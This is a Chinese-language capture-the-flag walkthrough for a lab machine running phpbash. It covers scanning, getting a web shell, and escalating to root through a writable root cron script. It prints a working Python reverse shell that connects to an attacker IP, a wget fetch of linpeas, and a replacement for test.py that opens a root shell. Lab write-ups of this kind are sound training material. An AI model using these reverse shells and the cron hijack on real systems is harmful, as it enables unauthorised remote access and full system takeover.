今天,这台机器很有意思~
扫描!
nmap -Pn -sC -sV -vvv 10.10.10.68
可以看到机器只开放了,80端口,我们直接访问它
80端口
我们看到,这是‘phpbash’系统,这说明我们有机会直接通过web端,得到一个shell!
我们仍然使用dirbuster来扫描目标,配置如下:
我们很容易可以找到一个疑似的文件,
直接访问它
我们成功得到了这个web端的shell
并且还意外得到一个用户!
我们使用如下Python代码来实现反弹shell
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.18',4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" //不要忘记改你的ip
python -c 'import pty; pty.spawn("/bin/bash")' //反弹shell后开启一个标准bash
成功得到user。
提权!
目前这个系统其实,漏洞百出,我们有很多办法提权,这里选择一个最具有此系统代表性的,也是选择这个系统的原因----计划任务提权
首先,使用wget上传LinPeas.sh来枚举系统脆弱性
(PEASS-ng/linPEAS/README.md at master · peass-ng/PEASS-ng · GitHub)
python3 -m http.server 80 //本地对应目录开启一个临时80端口
wget http://10.10.14.18/linpeas.sh //shell中输入,将kali中的linpeas上传
chmod +x linpeas.sh //提升至运行权限
./linpeas //运行
我们通过脚本可以发现很多提权的路径,但是最为特别的当属以下
这是脚本检测出,最近5分钟被编辑过的文件,这里的/script/test.txt非常值得我们去看一看
在同属目录下,存在test.txt和test.py,而我们对test.txt仅有查看的权限,它属于root用户,但是这个text.py刚好属于本用户,而且查看这个文件后发现,它的作用就是将文本写入test.txt,而目标文件刚好就是写入的字符。
由于,test.py可以被执行写入test.txt文件的权限,显然是root权限的定时任务,因为它每隔1分钟就会被执行一次,这里直接修改这个test.py,
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.10.14.18',4443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
#不要忘记修改ip和端口,端口不要重复哦
不过感觉修改麻烦,可以直接rm删掉再上传一个,哈哈哈~
在本地nc监听这个端口,最多一分钟就可以收到这份shell!!!!
总结,这台主机展示了计划任务提权,非常的简单,仅在展示计划任务的安全性也非常非常重要!!!建议自己试一下!